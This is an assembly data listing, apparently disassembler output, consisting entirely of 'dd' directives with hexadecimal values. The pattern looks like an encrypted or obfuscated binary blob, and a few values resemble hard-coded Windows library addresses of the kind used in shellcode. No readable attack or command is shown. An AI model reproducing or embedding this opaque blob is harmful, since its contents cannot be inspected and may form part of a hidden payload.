		dd 0AF4668C3h, 0B6607017h, 6A61FC03h, 2195FF00h, 8B07A80Dh
		dd 0A93EEBC0h, 0A47BC129h, 316BAE54h, 3865897Eh, 690E5444h
		dd 14D13A0h, 8307E97Dh,	0BEA34391h, 85521A62h, 4AD7734Fh
		dd 3F22D243h, 0DEC8B70Ch, 841389A4h, 27751858h,	70A1C890h
		dd 98F42096h, 0ECE9C3h,	0
		dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h,	10ED7C90h
		dd 7C90h, 276F2h, 5 dup(0)
		dd 0ADA00000h, 7C80h, 2Bh dup(0)
		dd 60000h, 0FD2C0000h, 0EF223249h, 0A1981629h, 69D7CA9Ch
		dd 66443A90h, 64A83D15h, 6113215h, 9F35B174h, 66439A32h
		dd 0DBA13B60h, 61B93410h, 36914615h, 0DE84B946h, 66223604h
		dd 4394B79Ch, 0FB0535BDh, 61EE8236h, 3E79E1EAh,	60148F96h
		dd 128835BDh, 0DE176202h, 66223604h, 4394B79Ch,	0FB0535BDh
		dd 61EE9F07h, 3E79E1EAh, 55A852E9h, 8EB5E04Dh, 6644321Eh
		dd 8F8DAAC5h, 6BF2F314h, 394D3CADh, 0A7CD6374h,	697B6A44h
		dd 6611339Ch, 0E571CA15h, 0C9988BA8h, 0E22D3212h, 6611326Bh
		dd 6698DA75h, 0FDAB3215h, 6EE2FE02h, 27404A12h,	18F8EB17h
		dd 0D14B4AAFh, 0E72D6BECh, 66113215h, 0EA0DBF74h, 8F439D60h
		dd 6622321Bh, 0B00627B2h, 0D0A654E0h, 0D1884E67h, 0B6DDA61Dh
		dd 661DB91Ah, 69E83215h, 6644329Eh, 9B9C5415h, 0E39C5303h
		dd 612747A9h, 664ADB75h, 1FCD3215h, 2799336Bh, 0ED77838Eh
		dd 0F26E7859h, 9943CC9Fh, 6D993DC5h, 8F883215h,	66443213h
		dd 125FF93h, 0E3D7C9AEh, 6120340Ch, 0B15243h, 7AAA2AFh
		dd 6601B41Ah, 6D613215h, 82443215h, 0D324B53Dh,	0F571C8BBh
		dd 34E01756h, 69D89AADh, 6622219Ah, 661FDB15h, 35C63215h
		dd 31E4BF6Dh, 7FAD4E36h, 0BA67EBA5h, 6A6987EAh,	6B835BDh
		dd 0B4A2FD9Fh, 0E39C533Bh, 61234A0Fh, 694CDECh,	69E9B973h
		dd 6970F8A2h, 66883599h, 67CC3D15h, 9A223215h, 43E4B79Ch
		dd 0A17D35BDh, 0CE512790h, 66223212h, 0ED1E5215h, 66883219h
		dd 664434FDh, 0F890A115h, 3910B1E2h, 0C52F8873h, 7FC1F474h
		dd 23259A13h, 0F785AEDh, 9970BC67h, 0CE5CA7A0h,	6624DB12h
		dd 88193215h, 0E6A4AFBBh, 5D9BB798h, 0E02D35BDh, 66113212h
		dd 6689B41Ah, 99B13215h, 6EA23DC5h, 69113215h, 66883091h
		dd 0EF255215h, 0CE274B90h, 6602DB12h, 1E23215h,	0D34DB2B1h
		dd 0D715A0D2h, 4F2942D6h, 0DFA88317h, 0E382CBE4h, 618A340Ch
		dd 0E31E5256h, 66883210h, 0FD5921AAh, 0CD388A32h, 0E70560Ah
		dd 0FAEF594Bh, 0F3F1CDEDh, 69259A0Dh, 66113C93h, 6681DB15h
		dd 649F3215h, 57671D6Eh, 0EB324D25h, 0CEB3ED90h, 6650DB12h
		dd 0C133215h, 1C36AD95h, 0B303C4D5h, 315CB818h,	0AD64CE5Eh
		dd 72F89777h, 0EF883215h, 1EF30E11h, 17FCAD74h,	0DD047156h
		dd 6BA6ADA4h, 9966ADC0h, 0A7A352C5h, 12EE9DFCh,	75BB973h
		dd 0BAE5B79Ch, 0EA2D35BAh, 66113212h, 6689B41Ah, 0A0B83215h
		dd 0CE242B90h, 68F86612h, 0FD883215h, 0A59B7F4Ch, 7F79B253h
		dd 2030DAA1h, 0EA15AD3h, 99BCDC77h, 0CE3AA7A0h,	0D8775212h
		dd 0EBE95806h, 0CE7FED90h, 6632DB12h, 5AB3215h,	83A1A75Bh
		dd 415E2B5Ch, 0D260DF1Ah, 0B6EEAF4Eh, 668834FCh, 0EABDC815h
		dd 0EFA6736Eh, 0C9CD9790h, 6698DB12h, 3B5F3215h, 33B0DF0Ah
		dd 363915E8h, 0E8A648Eh, 0E382D509h, 618A340Ch,	6603DB50h
		dd 0F8593215h, 0E6D31A41h, 148BFB57h, 6140F450h, 0FB0252EEh
		dd 66443DFCh, 4462BA15h, 59F65600h, 0E107786Eh,	0E6D7FD92h
		dd 61AF07Dh, 0D3EECECFh, 61202A80h, 0B9C1BFE0h,	9F259A2Eh
		dd 6BF8E2EAh, 0E7883215h, 440BFC09h, 0E997738Fh, 87411C2Dh
		dd 0BA21B79Ch, 60AD35BAh, 30223215h, 0E4897F1Dh, 0DB0BCACDh
		dd 61EC34B0h, 7FA73D15h, 6113214h, 47378D75h, 0A8CF400Ch
		dd 0ACA95474h, 7F94F474h, 238F9A13h, 6649BB1Ah,	6ECB3215h
		dd 0D113215h, 198FA731h, 0E2F9665h, 9C024C93h, 661121FCh
		dd 57ECDD15h, 0A68C4B14h, 7F0A8421h, 0CAA58F3Eh, 2C06EB0Dh
		dd 7ED187EAh, 0ED4235BDh, 679F3DDEh, 9A883215h,	0B9C1BF74h
		dd 8F259A2Eh, 66113206h, 536C9B16h, 0B4AD9CF7h,	465A2235h
		dd 6A0FA553h, 9922E8D1h, 691752C5h, 6622329Ch, 0EA1E6D15h
		dd 66883217h, 0EF255375h, 0C9FE9F90h, 0ED775212h, 0E34E53EDh
		dd 61EC340Ch, 0A54ACB59h, 8FF114C5h, 66883218h,	0E0E8A8DAh
		dd 20BF8A17h, 0D228DE5Fh, 0F33DCDDDh, 6439A0Dh,	47C4B375h
		dd 0EF287h, 7120AAEh, 0EB255CA6h, 0CE19ED90h, 0E91ECA12h
		dd 66883214h, 9F94CDE0h, 66223FFCh, 880E3A15h, 0B130DECEh
		dd 213C0F2Ch, 0E3ABD864h, 61BEEEA4h, 669EB81Ah,	77AD3215h
		dd 0EE223215h, 0FA6B2947h, 35BB209Dh, 0DACCC49Ah, 0E3C0B01Fh
		dd 661072FCh, 670B3D15h, 9F443215h, 603BB7D3h, 694335BDh
		dd 66883A9Ch, 3BF15215h, 702D8B73h, 821C5A74h, 997D8E5Fh
		dd 0CE54F3A0h, 0E3AFCE12h, 61B909CAh, 669FBB1Ah, 74AD3215h
		dd 59223215h, 4FB84C44h, 322C49D4h, 187559BBh, 221A579Ch
		dd 6C1CD41h, 668BB41Ah,	93C43215h, 0E3AB537Dh, 61BEEEB8h
		dd 9D373D75h, 988575h, 743C59Eh, 6008B7D3h, 6DA35BDh, 0E6BEB975h
		dd 8F4316F8h, 66113206h, 4E962963h, 0C101AF24h,	8C915F04h
		dd 4523FE3Ch, 7A9F6BCh,	2A0E7A7Dh, 6628DBB3h, 68F3215h
		dd 68AA4902h, 8DA0057Ah, 76E387EAh, 8E7135BDh, 66883207h
		dd 670FB80Bh, 0FECCB8C6h, 5BDC0678h, 0B6D88531h, 89C4D297h
		dd 75CB6CA5h, 0AF113215h, 6A2C01E8h, 0B9B29EFFh, 0D7D3A8E7h
		dd 8D02A460h, 0EBE923FFh, 0CE7FED90h, 6AA83D12h, 69113215h
		dd 6688349Ch, 66CC3D15h, 99223215h, 6E9C3DC5h, 69883215h
		dd 6644309Ah, 0EF435215h, 0C9CD8390h, 73023D12h, 8F443215h
		dd 66223205h, 0C225AC24h, 9672AC2Ah, 0F8D2048Eh, 0BB412D26h
		dd 661122FCh, 3084215h,	10BD066Ch, 0CA59BB29h, 8B6901E4h
		dd 7F0DF4D0h, 34439A13h, 66223BFCh, 0ECE96A15h,	71D33410h
		dd 8C2CEB99h, 6DF70A1h,	0DF9FC194h, 6D83476h, 99256D74h
		dd 0CE3AA7A0h, 0E39CCB12h, 612009CAh, 6650DBE0h, 0CC8F3215h
		dd 0CABFFD79h, 2E1ACCAFh, 3A15FF95h, 41EE3E13h,	0B6EE7BD4h
		dd 470DBBE9h, 69439A30h, 66223393h, 0E3D7CE15h,	6120340Ch
		dd 6641DB62h, 0A2553215h, 0EACEDF2h, 951F9AB6h,	6652BF1Ah
		dd 77CB3215h, 0C8113215h, 7753CB16h, 6071E2ACh,	4C28461Eh
		dd 7DF24C1h, 78BD87EAh,	0D82435BDh, 3965F2FCh, 6618DB45h
		dd 71F73215h, 12CAE955h, 3FD0DA5Ah, 0B994BF74h,	8F8F9A2Eh
		dd 66443210h, 0CB2709ADh, 69C1CDADh, 66883A90h,	0DE225215h
		dd 3C705DD1h, 0D794BB74h, 8F8F9A12h, 6644321Ah,	962A317Ah
		dd 1C2888ECh, 0EB727FF7h, 0A069D08Fh, 0CE242B90h, 93ED6012h
		dd 0BBB9257Dh, 0D3BBCB9Fh, 618A2A80h, 0DEE3B975h, 570437Fh
		dd 0B9C1BF74h, 69259A2Eh, 66113E9Dh, 60073D15h,	69443215h
		dd 66223294h, 0B6EECB15h, 50578C75h, 84C4357Eh,	0E3AB53ADh
		dd 61B91FF4h, 730E3DE0h, 8F443215h, 66223205h, 9E22433Bh
		dd 0C687F6CAh, 7E876B6Ch, 6193E1E3h, 6008B7D3h,	8FDE35BDh
		dd 66443201h, 9E93F8E2h, 81F501A8h, 721CBBAAh, 0C8DC2B32h
		dd 0E98CC2B2h, 797C0B7Dh, 6D033DC1h, 6443215h, 0E7F3B973h
		dd 0FD5178C6h, 0D377535Ah, 61EC3EF4h, 66223FFCh, 0FBDB8915h
		dd 0BD2BBC85h, 65613796h, 0E3AFF0ABh, 61BA4A0Fh, 669ABB1Ah
		dd 6BAD3215h, 5C223215h, 0C53B41A1h, 0B08A1E42h, 0BDE3BD7Fh
		dd 9C9D3D75h, 0EC9C8B73h, 9358CD74h, 52A5B79Ch,	0A0DB35BDh
		dd 0CE172B90h, 0E1877512h, 66443214h, 6DAE3DE0h, 6113215h
		dd 0E74E851Ah, 808D30C4h, 1C4A5324h, 9E90EE05h,	0F33DCDE9h
		dd 69439A0Dh, 6622359Bh, 679B3D15h, 93883215h, 5D9BB798h
		dd 0EF2D35BDh, 66113202h, 6685DA75h, 0C95A3215h, 0C198154Ah
		dd 99B5C609h
		dd 393C1DD1h, 99255375h, 0E3ABCAC5h, 61B92578h,	7C50B375h
		dd 6912CA78h, 66223096h, 7705215h, 6091B7D3h, 8F0335BDh
		dd 66223205h, 9C6BD3DEh, 45A9BD81h, 745E90F3h, 256DE7A8h
		dd 69A4D07Dh, 6E083D9Fh, 69443215h, 66223094h, 99705215h
		dd 0CE90A7A0h, 0E3C9CB12h, 618A09CAh, 661DB91Ah, 0EC873215h
		dd 66443213h, 6622B31Ah, 99E93215h, 726152C5h, 26443215h
		dd 207BE76h, 72274BE2h,	7DEE3AFCh, 437B633Bh, 6E10B20h
		dd 661123FCh, 0FE903715h, 17861072h, 3345A30Ah,	949D0865h
		dd 7E9B02Ch, 0BA95B79Ch, 0A1DB35BAh, 0CE22CF90h, 66884A12h
		dd 0DBC7C715h, 618A11D4h, 0A2953D15h, 6988320Dh, 6644339Fh
		dd 0DE42CB15h, 12D80FB1h, 7F0DF474h, 2A439A13h,	6634B41Ah
		dd 8E713215h, 6688321Eh, 0C5E09A7Ch, 0B6D3393Ch, 3983FB28h
		dd 751851Ah, 7AAD5AE0h,	642EBCFh, 0E7775375h, 78CA7C3h
		dd 7CFD41AFh, 0D3DD532Eh, 61B92A80h, 0B90DBFE9h, 69439A2Eh
		dd 66222397h, 661DDB15h, 0A4FE3215h, 4C0C5E68h,	215071BFh
		dd 0B6EE13BEh, 6683DB75h, 0E2813215h, 7EA6618Fh, 0FE625014h
		dd 758B9EDh, 0BAF9B79Ch, 0E72D35BAh, 66113202h,	668820FCh
		dd 0A8EDAF15h, 0ADA521E7h, 0B289588h, 376CA71Eh, 0A0639080h
		dd 0CE242B90h, 0EED7E12h, 0BBFCECDBh, 66443DFCh, 1F197E15h
		dd 92002EA7h, 0D65DC60Eh, 0D2FCD0h, 7EB787EAh, 0ED7135BDh
		dd 0E30553D4h, 61EC09CAh, 66223EFCh, 0FCFBB815h, 4B3E816Ch
		dd 3BE16FECh, 9EF2CDACh, 0BAD0B79Ch, 0EB8735BAh, 66443205h
		dd 662239FCh, 6A314C15h, 716ECCB3h, 18626864h, 603BB7D3h
		dd 695D35BDh, 66883391h, 592CCB15h, 9F95B397h, 7E8487EAh
		dd 0EB7035BDh, 0CE7FED90h, 6625DB12h, 0D1FC3215h, 0CB4BAE36h
		dd 694CDC3h, 7CCB2E9h, 661CDB74h, 0E65E3215h, 1BB7B55Eh
		dd 0BAE77C86h, 0EF5C7E71h, 0C954F790h, 6CC93D12h, 8F223215h
		dd 66113210h, 0EA7FAEBh, 23FE5216h, 8F7CA4F8h, 6611321Dh
		dd 0E91B7EF7h, 0C313E023h, 7FA7F474h, 2A169A13h, 6691B01Ah
		dd 72AD3215h, 0CF223215h, 9FBC1E0Dh, 6746C4C8h,	0B14E896Dh
		dd 58BABB0Eh, 9EA20AAFh, 49C82A7Dh, 74CC3DA6h, 8F223215h
		dd 66113218h, 0CC449359h, 0D9C130E0h, 60C592h, 0F3A4CDE8h
		dd 8F8F9A0Dh, 66443210h, 0A0EEAF1Bh, 0E39CC75Fh, 612009CAh
		dd 664438FCh, 3C765215h, 0FCA1B63Eh, 99089B22h,	6641DBC5h
		dd 586B3215h, 0EF873AECh, 0C954F790h, 70CF3D12h, 8F223215h
		dd 66113204h, 903DECAEh, 156E5163h, 0CF409555h,	0E32F8FD0h
		dd 7F0DF4F6h, 20439A13h, 60365AECh, 0E31E88CBh,	66883214h
		dd 0F3F1CDECh, 93259A0Dh, 5DCEB798h, 69E835BDh,	0E44BC4AAh
		dd 66223216h, 7E7851Ah,	6061E2EAh, 5D443215h, 0BE9EE4E9h
		dd 0AB94BB06h, 698F9DC9h, 66442598h, 6BCB5215h,	0C0113215h
		dd 0A2BE67h, 80995B40h,	25CA84E1h, 7E6B973h, 6091B7D3h
		dd 8F0335BDh, 66223210h, 5DF7F8AFh, 0E887526Eh,	66443214h
		dd 0BEA263ECh, 0E706928h, 0E754226Fh, 0F3F1CDE9h, 69259A0Dh
		dd 66113599h, 923F5215h, 7BA851Ah, 5DFDB798h, 67135BDh
		dd 6688B21Ah, 72AD3215h, 0AB223215h, 0D43A9A63h, 0A9C1A1F3h
		dd 0E7C745B0h, 1C8663F0h, 719C9BAh, 6E95BA0h, 693B975h
		dd 3C705374h, 6C1CD74h,	6860E19Eh, 5D443215h, 1A658F71h
		dd 3B064066h, 146B82B6h, 3F255232h, 0B3A7BB74h,	9F169DC9h
		dd 6091B7D3h, 690335BDh, 66222591h, 6603DB15h, 0EE1C3215h
		dd 0B222F96Fh, 70C2DC17h, 0C7CF3D57h, 0A3E6CD3Bh, 0E1CA9E7Dh
		dd 7FA93DFAh, 8F113215h, 66883201h, 8B4D54Ah, 488B0F65h
		dd 0D0126F22h, 27F1CA68h, 0CC261C8Fh, 0F397CDE9h, 69169A0Dh
		dd 66883892h, 6641DB15h, 9C713215h, 0EB445646h,	0CEB3ED90h
		dd 6FC13D12h, 6223215h,	44C7B3E0h, 7B79687h, 69B1E2EAh
		dd 66223A92h, 64953D15h, 6883215h, 0BFC1BB74h, 8F259DC9h
		dd 66113207h, 8E5FE341h, 1F46937Fh, 1FA5131Eh, 586A2133h
		dd 0E34EB2AEh, 61EC340Ch, 0B44AC752h, 9FC5A8B2h, 7E1D87EAh
		dd 69BD35BDh, 66222197h, 661FDB15h, 0BF1A3215h,	0FFAF8A75h
		dd 9D845C3h, 0AFA6D1F6h, 5D57B798h, 76AD35BDh, 0B9223215h
		dd 28ED2134h, 83346BADh, 0C9B358BBh, 991CE4ABh,	0EB1E52C5h
		dd 66883217h, 0E04B87A0h, 66223210h, 0DD0FD5ADh, 7461531Fh
		dd 28443215h, 9B3A62DAh, 9EE70D99h, 4EA01D1Dh, 0CBFC003Eh
		dd 0BBA7BB38h, 8F169DC9h, 66883204h, 0D7B33EEAh, 0CC79A996h
		dd 35796D9Fh, 0F4D9B987h, 7FC1F4C4h, 21259A13h,	661126FCh
		dd 0E9DAA615h, 0D7C40E8Ah, 0DACE2DC3h, 0D2EE59Bh, 37AAD645h
		dd 5F405AFEh, 0E92D88D4h, 66113212h, 0AD095475h, 9925F00Fh
		dd 0CE3AA7A0h, 6E933D12h, 6883215h, 6644B81Ah, 0EB433215h
		dd 0CE2AED90h, 0B677CE12h, 0AF88B275h, 0E3AB53EDh, 61BEEEF4h
		dd 668834FCh, 453B0215h, 0E5A7E5F1h, 0CE3303A8h, 0E3873212h
		dd 6644329Ah, 662235FCh, 0B4C4FC15h, 0DF050161h, 605DB7D3h
		dd 8F6535BDh, 6611321Fh, 360C79CAh, 8CFD29F2h, 14A3702h
		dd 8FF14038h, 66883213h, 324B8A61h, 0D3DD9C3Eh,	61B92A80h
		dd 6682B41Ah, 6243215h,	0F6E1B374h, 70A693Fh, 5D57B798h
		dd 2435BDh, 7BA39ACh, 0E01EE2EAh, 66883208h, 6653B91Ah
		dd 74CB3215h, 0C1113215h, 1D5A601Ch, 0E546214Ah, 5DAF67B7h
		dd 0D9E4AB4Dh, 830DBB22h, 69439DC9h, 6622389Bh,	6614DB15h
		dd 14703215h, 0A006766Bh, 0CE242B90h, 6DF87512h, 0C0883215h
		dd 0DD9FC995h, 1A817B5Ah, 0D779DA1Ah, 6061BA6h,	41D895h
		dd 760D094h, 0F3A4CD74h, 8F8F9A0Dh, 66443212h, 56E71830h
		dd 0EBBE9536h, 0CEB3ED90h, 69AD5212h, 0F3223215h, 3E9EE768h
		dd 0ED2EE1A8h, 16DC49B0h, 0BBA2E0B2h, 0B6EE5355h, 60053D75h
		dd 69443215h, 6622329Ah, 0E3985315h, 6127EEFCh,	664CB51Ah
		dd 0EC2D3215h, 66113217h, 0E34E5375h, 61EC340Ch, 7FAD3D56h
		dd 8F113215h, 66883201h, 1A496D00h, 1D78364h, 99759F2Ch
		dd 0C1DF2691h, 9A4BE2C6h, 1068957Dh, 0D3EECAD5h, 61202A80h
		dd 6656DB75h, 134B3215h, 42743F2Bh, 0C8C062CAh,	0EE69EDC2h
		dd 17EE6488h, 7C1851Ah,	5D57B798h, 0E84B35BDh, 66223212h
		dd 6610B41Ah, 99713215h, 0BD52C5h, 0EEFFEC94h, 8B94BB74h
		dd 9E8F9DC9h, 605DB7D3h, 9E6E35BDh, 7DD97Dh, 6E003DEEh
		dd 69443215h, 66223098h, 99705215h, 0CE9607A0h,	0ED24CE12h
		dd 0FFC3B3CBh, 7084C89h, 5D57B798h, 99BC35BDh, 0E3ABC7C5h
		dd 61BEEF94h, 668821FCh, 0F5755415h, 88CF3117h,	0E97EA42Ch
		dd 6FDAA4C7h, 7C427042h, 603BB7D3h, 65535BDh, 77AB9E0h
		dd 15CA677Dh, 6CAE3DAEh, 8F113215h, 66883210h, 0DEDABF23h
		dd 0D944521Ch, 0EF1E5186h, 66883217h, 9925EA9Eh, 0CE3AA7A0h
		dd 76F85212h, 40883215h, 0FC093078h, 97044537h,	8C10E270h
		dd 0B8EDAh, 0EB25C59Eh,	0CE19ED90h, 0D11E5212h,	9F918DCDh
		dd 9A252205h, 0D542E2EAh, 0A1905406h, 0EFE9BE49h, 0C998C390h
		dd 662BDB12h, 7D643215h, 763E7E02h, 0A01F03ABh,	0CE242B90h
		dd 0E41E7112h, 6688321Dh, 6646BD1Ah, 7423215h, 0E87FCE7Dh
		dd 6C0E3DA9h, 8F443215h, 66223210h, 0A7973F8Ch,	0F33DCDAFh
		dd 6439A0Dh, 809D5445h,	60F869A9h, 6F883215h, 0EE4901E1h
		dd 0E3AF53E8h, 61B909CAh
		dd 6958CDEDh, 66443A92h, 0E12D5215h, 66113215h,	0E301C774h
		dd 61EBEEE0h, 662220FCh, 0CD32E615h, 8E172968h,	0E3212677h
		dd 0A12C788Dh, 0A09E35F0h, 0CE8E2B90h, 0EB86112h, 0A0320CBFh
		dd 0F3A4CDE0h, 698F9A0Dh, 66443392h, 0E3AFC715h, 61B909CAh
		dd 6C616175h, 10443215h, 8D466B45h, 651CF680h, 0A0086873h
		dd 0B6BB5323h, 6632B31Ah, 6DF83215h, 0E6883215h, 79C7276Eh
		dd 10622EA6h, 0E398B050h, 6127EEECh, 664435FCh,	0BFB5C515h
		dd 0BC767226h, 41298F96h, 694435BDh, 6621C891h,	0E3D7CE15h
		dd 6120340Ch, 572CCB53h, 8FD8A4DBh, 6611321Dh, 25495397h
		dd 0AD285406h, 7EB787EAh, 697135BDh, 0E687F4AAh, 66443210h
		dd 0F0346AAFh, 0D2715338h, 7EF82A9h, 5D9BB798h,	694235BDh
		dd 6611329Ch, 0F5F88C15h, 99257236h, 662FDBC5h,	0B8633215h
		dd 9D3AEC3Bh, 59C5E38h,	0EFA48EB1h, 0C9CC6790h,	70093D12h
		dd 8F443215h, 66223204h, 0FB76FB0Dh, 92C5BEFEh,	0F7F5E7C2h
		dd 4F58C474h, 0DD7752E9h, 0B8094BE4h, 3B2D08DCh, 7FA7F474h
		dd 20169A13h, 668837FCh, 55500215h, 0B04AF4B8h,	8FED952Fh
		dd 6688321Fh, 4C15E183h, 0B092C25Ch, 0D3EE85DDh, 61202A80h
		dd 664437FCh, 8290A315h, 0E39CE991h, 612009CAh,	664EDB75h
		dd 4AEA3215h, 14E8CAE8h, 8D983B60h, 79EB973h, 0EFD7E2EAh
		dd 0C9CC5790h, 6C0A3D12h, 8F443215h, 66223210h,	0CECA9887h
		dd 7F0DF403h, 20439A13h, 662226FCh, 359B4415h, 564AE921h
		dd 1718173h, 0D58545ECh, 0B6336F31h, 0C2885A91h, 99BCA0E9h
		dd 0CE3AA7A0h, 0E7775212h, 69E328E7h, 6925E4A2h, 6622279Bh
		dd 6601DB15h, 0F0A43215h, 598B3111h, 16DC9AC6h,	0E39DF138h
		dd 0E30543CCh, 61EC09CAh, 662222FCh, 79FDA215h,	0F358EBB7h
		dd 0E4B5BFCEh, 0EF49B462h, 6601DB5Dh, 90113215h, 0A3AF8B7h
		dd 0A7593E56h, 0BA041840h, 0B67742C1h, 66443CFCh, 3F498415h
		dd 2403C368h, 88A43126h, 0EF64B4FFh, 0C9FF5B90h, 6D923D12h
		dd 6883215h, 0F0AF1BAFh, 0C49B5460h, 0A0E95334h, 0CE8E2B90h
		dd 0EB87412h, 90F67D7Fh, 0F3A4CDE9h, 698F9A0Dh,	66442298h
		dd 6629DB15h, 81683215h, 33341B2Fh, 81A63652h, 0B9A7BFC8h
		dd 6169A2Eh, 44FDEB94h,	24762Ah, 639CC29Eh, 77A3003h, 7F3B5274h
		dd 0B6BB53E9h, 662237FCh, 0B0073E15h, 0E3019033h, 61EBEF78h
		dd 6629DB75h, 1D943215h, 935CEADh, 957DB7B9h, 6636DA7Ah
		dd 0F7D03215h, 0D68BA504h, 667E916h, 3C32E77h, 0DB90D9D5h
		dd 0E8874F17h, 66443215h, 0E3E4534Fh, 61B9340Ch, 6686DB53h
		dd 0FD263215h, 0D991A28Dh, 54F9BDF0h, 0F9B4E72h, 0AB14D57Dh
		dd 6628DB81h, 30443215h, 0FF79C0C1h, 0DA8DBDB9h, 662235FCh
		dd 0AD3CD15h, 89BBDCB2h, 7ED187EAh, 6ACB35BDh, 7D113215h
		dd 0A1F50DCCh, 645827FFh, 0EB2D0F73h, 0CE2AED90h, 6682DB12h
		dd 33BE3215h, 0D745CF00h, 13C0B086h, 0E287E2EAh, 66443219h
		dd 6624B91Ah, 0E81E3215h, 66883215h, 6642B01Ah,	423215h
		dd 7EDCB9Eh, 0BBD1B79Ch, 0EB4B35BAh, 66223219h,	6617BA1Ah
		dd 0E7873215h, 66443215h, 603BB7D3h, 65735BDh, 668BB91Ah
		dd 83C43215h, 387552FAh, 5D795374h, 8F391061h, 6644321Bh
		dd 90471525h, 69D82B3h,	0DC164D60h, 0D3BB550Dh,	618A2A80h
		dd 6615B01Ah, 34E83215h, 0E3C9534Dh, 618A09CAh,	0ED775275h
		dd 668EDBCAh, 6B653215h, 6C25580Bh, 0B6EE5374h,	668EB51Ah
		dd 0ED243215h, 7DC80C4h, 0BB4CB79Ch, 0E38735BAh, 6644321Dh
		dd 0D1D5B375h, 77387C5h, 6091B7D3h, 60235BDh, 66223AFDh
		dd 0A20D6515h, 0ADD2C6FFh, 39378093h, 8CCF5A74h, 0EA1EED6Ch
		dd 6688321Ah, 664438FCh, 9A3AAB15h, 4E5D6308h, 69E646CAh
		dd 6644389Ah, 26915215h, 6611B01Ah, 99E93215h, 0CE5CA7A0h
		dd 91A85212h, 0B994BF74h, 8F8F9A2Eh, 66443206h,	0DA3A6BD9h
		dd 0E299DCAFh, 5F9F0C2Ah, 6B2611E8h, 693D2874h,	66112A99h
		dd 669BDB15h, 0F4E63215h, 0AF5A7D11h, 0D3B39112h, 0F68B5B7h
		dd 7E4B1EA7h, 8FF2CDB7h, 66113206h, 1D614B85h, 226AD6D9h
		dd 0B3E4B3E7h, 3CB1E88Fh, 0EFC669BAh, 0C9995390h, 0CB935212h
		dd 661137FCh, 968B6515h, 0E525D03Fh, 0CE0003A8h, 0E31E3212h
		dd 6688329Ah, 6657B21Ah, 0E02D3215h, 66113218h,	66883AFCh
		dd 0B87FA915h, 57BC9620h, 0E3D7CA2Eh, 6120340Ch, 67CF3D46h
		dd 93223215h, 0D8F16C7Dh, 6681DBDBh, 8F353215h,	0D3AB1C36h
		dd 6F19652h, 66883BFCh,	81472E15h, 6401EFC1h, 6AF83CE6h
		dd 88883215h, 2C10A2F6h, 0CCE8E4B7h, 7275EF6h, 7E1D87EAh
		dd 0EBBD35BDh, 0CE19ED90h, 661EDB12h, 8A713215h, 16B71EC3h
		dd 0B3EBD49Dh, 9F23E0A6h, 658CD81h, 37B6B973h, 779E39Eh
		dd 0BAECB79Ch, 0A07135BAh, 0CE422B90h, 427512h,	690342AAh
		dd 66883097h, 7255215h,	0D77CB57Dh, 7F923DD2h, 69883215h
		dd 66442191h, 662CDB15h, 8263215h, 77CBEDD8h, 1E6458C4h
		dd 4026F945h, 7E8487EAh, 697D35BDh, 66442E9Ch, 70A23D15h
		dd 8F113215h, 66883204h, 0D4211974h, 0DEDE7745h, 0FB214DD2h
		dd 3FACDD5Bh, 0B9C1BFD5h, 8F259A2Eh, 6611321Dh,	87A1BBFFh
		dd 0DEF2F6FDh, 72CBE2EAh, 81113215h, 920EF475h,	61A21C03h
		dd 1E1A5BA3h, 23B361ADh, 0EFF4BA23h, 0C9993390h, 61A53D12h
		dd 69113215h, 66883399h, 0DBC7C715h, 618A1024h,	10943D15h
		dd 9E883215h, 605DB7D3h, 9F6535BDh, 46F377Dh, 61033DF3h
		dd 69443215h, 6622339Ch, 0D3EECA15h, 61202A80h,	664EBF1Ah
		dd 63CB3215h, 66113215h, 0BB2F03C7h, 5D9BB798h,	314235BDh
		dd 66113CFCh, 640B9015h, 0C15FD786h, 67F97B82h,	3FFE32D6h
		dd 600F3D74h, 6443215h,	742E89Eh, 69C1CD74h, 66883F93h
		dd 664CDB15h, 0BE153215h, 0BC1DC651h, 0E3010537h, 61EBEF10h
		dd 7FA7F4E0h, 25169A13h, 0A9035475h, 5FAFB373h,	0ED425337h
		dd 907953DEh, 61A481Ch,	6995851Ah, 9943FBAAh, 0CE09A7A0h
		dd 69023D12h, 8F443215h, 6622321Fh, 92F7EF7Ch, 0CECBDAA3h
		dd 0E3C931DBh, 618A09CAh, 6C1CDE9h, 668822FCh, 0D28E5215h
		dd 0EF1DF7D6h, 4B7A6801h, 597F4809h, 795B9DEh, 0BB2BB79Ch
		dd 697135BAh, 6688309Ah, 69B7B915h, 0A043CCA2h,	0CE172B90h
		dd 0EDE87112h, 0D8B1B2EFh, 0F1025A74h, 72F8CE34h, 0C0883215h
		dd 1D06B85Ah, 3AC1E87Ah, 0FE907E6Dh, 9A833CD3h,	9943E093h
		dd 0CE3AA7A0h, 679E3D12h, 9E883215h, 0B9C1BFE0h, 6259A2Eh
		dd 0E7178B73h, 6958CD74h, 66443A9Fh, 0DFDA5215h, 69B279C3h
		dd 6B0DBB74h, 9E439DC8h, 44138F96h, 691135BDh, 66890A90h
		dd 67C03D15h, 93223215h, 6008B7D3h, 6CB35BDh, 665DBC1Ah
		dd 72CB3215h, 20113215h, 671D64E1h, 302E05E0h, 0E05EFE66h
		dd 3A676B47h, 0CC5848h,	6D0BE994h, 6AA53D74h, 69113215h
		dd 66883492h, 66CA3D15h, 0E223215h, 0ED119A16h,	0F33DCDE0h
		dd 6439A0Dh, 662222FCh,	0D1C36415h, 0FC746D2Bh,	7A2F394Eh
		dd 0D993698Dh, 8F70CB06h, 66883212h, 791BA508h,	0EB6D1BEAh
		dd 0CE2AED90h, 70083D12h, 8F443215h, 66223204h,	0D3BFC468h
		dd 81B92053h, 8AB98AF7h, 40CF598Fh, 69C1CD9Ah, 66883593h
		dd 67C43D15h, 93223215h, 0BB04B79Ch, 69E835BAh,	66443092h
		dd 69478415h, 0A070FAA2h, 0CE8E2B90h, 6247112h,	0AEA3E29Eh
		dd 1479FEC0h
		dd 0B3E05374h, 9FA16923h, 7EB787EAh, 72F835BDh,	0CA883215h
		dd 95898820h, 4AF68A36h, 0F4A6347Ch, 0CF799012h, 0EBFCAE9Fh
		dd 0CE19ED90h, 0B6EEC712h, 9060B275h, 6925C29Eh, 66223393h
		dd 0E398CA15h, 6127EF04h, 4DA3B275h, 0EE2D53E9h, 66113208h
		dd 669BDB75h, 1C0A3215h, 0C0A76144h, 0F0D5810h,	0EE9CB5C3h
		dd 0B7888EFh, 0BE9D3DE5h, 7F94F474h, 258F9A13h,	6645B91Ah
		dd 0ED73215h, 8CBB00F4h, 66883EFCh, 9ECEDF15h, 458EBF39h
